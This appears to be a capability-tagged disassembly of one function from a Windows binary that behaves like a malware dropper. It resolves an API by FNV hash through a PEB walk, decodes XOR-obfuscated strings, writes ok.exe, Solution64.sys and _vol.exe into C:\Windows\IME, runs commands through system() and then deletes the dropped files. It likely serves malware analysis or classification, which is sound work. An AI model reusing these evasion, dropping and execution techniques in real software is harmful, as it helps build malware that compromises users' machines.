Function at 0x140070e30
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Execute command
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5c8]
sub rsp, 0x6a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rbp + 0x560], rax
xor r12d, r12d
mov dword [rsp + 0x38], r12d
lea rcx, [0x140117ff0]
call fcn.1400902e0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rdx, [0x140117c38]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], r12b
jne 0x140070eb1
lea rcx, [rbp + 0x20]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], r12
lea rdx, [0x140117c58]
nop dword [rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140070ee0
mov r8, rbx
lea rcx, [rbp + 0x68]
call fcn.140012c50
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x68]
lea rcx, [0x140117ff0]
call fcn.140092220
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x20]
cmp byte [0x140118200], 0
jne 0x140071077
lea rdx, [0x140118208]
call fcn.14005e890
nop
lea rcx, [rbp + 0x20]
call fcn.140035fb0
mov r9, rax
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.140012ac0
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp + 0x40]
call fcn.14007ec80
nop
lea rcx, [rbp + 0x40]
call fcn.14005e700
mov r10, rax
xor edx, edx
lea rcx, [rbp + 0x20]
call fcn.140012ac0
mov r8, rax
lea rcx, [rbp + 0x20]
call fcn.140035fb0
mov r9, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r10
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071031
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071010
cmp r8d, 0x31a98fee
je 0x14007103b
test r9d, r9d
jne 0x140070ff0
mov rax, qword [rax]
jmp 0x140070fc0
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
lea rcx, [rbp + 0x40]
call fcn.14005e700
xor r9d, r9d
lea r8, str.Error
mov rdx, rax
xor ecx, ecx
call r10
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov r8d, 6
lea rdx, str.EncKey
call fcn.140012c50
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x40]
lea rcx, [0x140117ff0]
call fcn.140096a60
mov rbx, rax
lea rdi, [0x140117da0]
cmp rdi, rax
je 0x140071135
mov rdx, qword [0x140117db8]
cmp rdx, 0x10
jb 0x1400710f8
mov rcx, qword [0x140117da0]
inc rdx
cmp rdx, 0x1000
jb 0x1400710f3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140071167
mov rcx, r8
call fcn.1400e44b0
mov qword [0x140117db0], r12
mov qword [0x140117db8], 0xf
mov byte [0x140117da0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140117da0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140117db0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140071173
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007116e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007116e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140117db8], 0x10
cmovae rdi, qword [0x140117da0]
lea rcx, [0x140118268]
cmp qword [0x140118280], 0x10
cmovae rcx, qword [0x140118268]
mov r8, qword [0x140118278]
cmp r8, qword [0x140117db0]
jne 0x1400738b8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400738b8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea r8d, [rax + 6]
lea rdx, str.070660
lea rcx, [rbp + 0x20]
call fcn.140012c50
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x108]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x450]
call fcn.1400e5878
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsIMEok.exe
lea rcx, [rbp + 0x450]
call fcn.14007e3b0
nop
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
sub r8, rdx
lea rcx, [rbp + 0x450]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x458]
call fcn.14005ec50
test rax, rax
jne 0x1400712a4
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x450]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea r8d, [rax + 6]
lea rdx, str.042678
lea rcx, [rbp + 0x20]
call fcn.140012c50
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xd0]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x340]
call fcn.1400e5878
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsIMESolution64.sys
lea rcx, [rbp + 0x340]
call fcn.14007e3b0
nop
mov r8, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xd0]
sub r8, rdx
lea rcx, [rbp + 0x340]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x348]
call fcn.14005ec50
test rax, rax
jne 0x14007136f
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x340]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov dword [rsp + 0x38], 1
mov esi, listen
mov ebx, esi
nop word [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
cmp rcx, rdx
jae 0x1400713ec
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x20]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400713fc
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x20]
call fcn.140012d50
sub rbx, 1
jne 0x1400713b0
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, r8
mov ebx, reloc.WLDAP32.dll_Ordinal_26
lea r15, str.C:WindowsIMEok.exe__BS
cmp rax, rbx
jb 0x140071499
lea rax, [r8 + 0x1a]
mov qword [rbp - 0x10], rax
lea rdi, [rbp - 0x20]
cmp rcx, 0x10
cmovae rdi, qword [rbp - 0x20]
lea rax, [0x1400ff3ca]
cmp rax, rdi
jbe 0x14007145d
lea rax, [rdi + r8]
cmp r15, rax
ja 0x14007145d
cmp rdi, r15
ja 0x140071455
mov r14, r12
jmp 0x140071460
mov r14, rdi
sub r14, r15
jmp 0x140071460
mov r14, rbx
lea rcx, [rdi + 0x1a]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r15 + 0x1a]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x20]
jmp 0x1400714b5
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.140061390
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x38], 3
mov r15d, 5
mov r8d, r15d
lea rdx, str.__nul
lea rcx, [rsp + 0x40]
call fcn.140012b80
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140071575
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071570
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071570
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400715c6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400715c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400715c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIMEok.exe__SU_Auto__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
mov dword [rsp + 0x38], reloc.WS2_32.dll_ntohl
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
cmp rcx, rdx
jae 0x14007165c
lea rax, [rcx + 1]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14007166c
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x60]
call fcn.140012d50
sub rsi, 1
jne 0x140071620
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
sub rax, r8
lea r14, str.C:WindowsIMEok.exe__SS
cmp rax, 0x1a
jb 0x140071708
lea rax, [r8 + 0x1a]
mov qword [rbp - 0x50], rax
lea rdi, [rbp - 0x60]
cmp rcx, 0x10
cmovae rdi, qword [rbp - 0x60]
lea rax, [0x1400ff412]
cmp rax, rdi
jbe 0x1400716c9
lea rax, [rdi + r8]
cmp r14, rax
ja 0x1400716c9
cmp rdi, r14
ja 0x1400716c1
mov rsi, r12
jmp 0x1400716cc
mov rsi, rdi
sub rsi, r14
jmp 0x1400716cc
mov rsi, rbx
lea rcx, [rdi + 0x1a]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rsi]
sub rbx, rsi
lea rdx, [0x1400ff412]
add rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x60]
jmp 0x140071724
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140061390
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_30
mov r8, r15
lea rdx, str.__nul
lea rcx, [rsp + 0x40]
call fcn.140012b80
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400717ea
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400717e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400717e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14007183b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071836
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071836
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rcx, qword [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIMESolution64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsIMEok.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], rax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea r8d, [rax + 6]
lea rdx, str.982245
lea rcx, [rbp + 0x20]
call fcn.140012c50
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xb8]
lea rcx, [0x140117ff0]
call fcn.14008dca0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x230]
call fcn.1400e5878
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsIME_vol.exe
lea rcx, [rbp + 0x230]
call fcn.14007e3b0
nop
mov r8, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xb8]
sub r8, rdx
lea rcx, [rbp + 0x230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x238]
call fcn.14005ec50
test rax, rax
jne 0x14007194c
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x230]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [0x1400ff9d0]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1400ff9e0]
movups xmmword [rbp + 0x50], xmm1
movzx eax, word [0x1400ff9f0]
mov word [rbp + 0x60], ax
movzx eax, byte [0x1400ff9f2]
mov byte [rbp + 0x62], al
mov r8d, r12d
mov eax, Ordinal_33
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp r13d, 2
jl 0x140071adf
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp + 0x44]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400719d0
cmp r8d, 0x23
jge 0x140071b23
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140071af0
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov rbx, r12
mov qword [rsp + 0x50], rbx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x38], 0x76
mov r14d, 4
mov esi, r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
cmp rbx, rdi
jae 0x140071ba9
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdi, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140071bba
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.140012d50
sub rsi, 1
je 0x140071bcc
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
jmp 0x140071b72
movups xmm0, xmmword [str.0123456789ABCDEF]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1400f99e0]
mov byte [rbp + 0x10], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x38], 0xf6
mov rbx, r14
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rbp + rax]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x140071c48
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140071c59
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x60]
call fcn.140012d50
sub rbx, 1
jne 0x140071c07
movups xmm0, xmmword [0x1400fffb0]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x1400fffc0]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x1400fffc8]
mov word [rbp - 0x68], ax
movzx eax, byte [0x1400fffca]
mov byte [rbp - 0x66], al
mov r8d, r12d
cmp r13d, 2
jl 0x140071def
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140071ce0
cmp r8d, 0x1b
jge 0x140071e33
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140071e00
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.14005f7c0
nop
mov r8d, 1
lea rdx, [0x1400fe4ac]
mov rcx, rax
call fcn.140012b80
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x38], 0x1f6
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x40]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1400607b0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140071eea
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071ee5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071ee5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
